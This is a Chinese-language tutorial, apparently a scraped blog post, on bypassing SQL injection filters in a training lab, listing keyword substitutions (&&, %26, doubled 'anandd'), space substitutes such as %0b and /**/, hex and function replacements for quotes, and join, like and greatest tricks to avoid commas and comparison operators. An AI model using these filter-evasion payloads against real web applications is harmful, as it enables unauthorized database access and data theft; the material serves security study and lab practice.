SQL注入绕过的基本思路:
就是找到一种可以替换的符号或可以替换的逻辑语句。

1、and与or过滤

1)替换
or替换||
and替换&&
%26替换and

2)形变或者大小写

and→anandd

and→AND\And

NOSQL替换命令 sql替换or_NOSQL替换命令


NOSQL替换命令 sql替换or_空格替换_02


可以看到这个页面的提示是不会识别and和or这种关键字的。1)构造闭合,可以发现闭合方式为 '

NOSQL替换命令 sql替换or_NOSQL替换命令_03


2)当直接输入and进行连接的时候,会发现页面并不能识别,并会报错

NOSQL替换命令 sql替换or_大小写_04


NOSQL替换命令 sql替换or_大小写_05


3)可以利用替换的思想使用%26替换and来实现

NOSQL替换命令 sql替换or_空格替换_06


NOSQL替换命令 sql替换or_bc_07


4)同时,我们也可以使用形变的方法将and替换为anandd来实现

NOSQL替换命令 sql替换or_空格替换_08


NOSQL替换命令 sql替换or_NOSQL替换命令_09

2、空格的绕过

替换思想

%20、%0a、%0b、%0c、%0d、%a0、%00、/**/、/*!*/、()、[]
这些做法都可以起到隔开两个命令语句的作用

NOSQL替换命令 sql替换or_bc_10


NOSQL替换命令 sql替换or_大小写_11


可以看到上述这个页面是不允许出现空格的。1)构造闭合,发现闭合方式为 '

NOSQL替换命令 sql替换or_bc_12


根据报错情况,可以很明确的判断出闭合方式为单引号闭合2)但发现在敲空格的时候页面不能被识别

NOSQL替换命令 sql替换or_空格替换_13


NOSQL替换命令 sql替换or_bc_14


发现,无论怎么敲空格在现实结果时,总是没有空格的,导致语法报错。3)所以,就需要对空格进行替换,在这里我们使用**%0b对空格替换**

NOSQL替换命令 sql替换or_bc_15


发现当使用%0b将其替换后,语法正常了。

也就可以利用以前的各种方式来提取数据了。

NOSQL替换命令 sql替换or_大小写_16

3、引号绕过

where schema_name='security'
where schema_name=0xyyyyyyy    //hex编码替换
where schema_name=database()    //函数替换

4、逗号绕过

from for,join 语句做逻辑替换

select mid('abc',1,1);
select mid('abc'from 1 for 1);   //用from for替换

select 1;
select * from (select 1)a;  //替换上面

select 1,2;
select  * from (select 1)a join (select 2)b;

select 1,2,3;
select * from (select 1)a join (select 2)b join (select 3)c;

5、等号大于小于号绕过
=—like

select id from users where username='admin';
select id from users where username like 'admin';   //使用like替换=

greatest和least,between and

select hex(mid('abc',1,1))>1;
select greatest(hex(mid('abc',1,1)),1) like 1;  使用greatest来替换大于号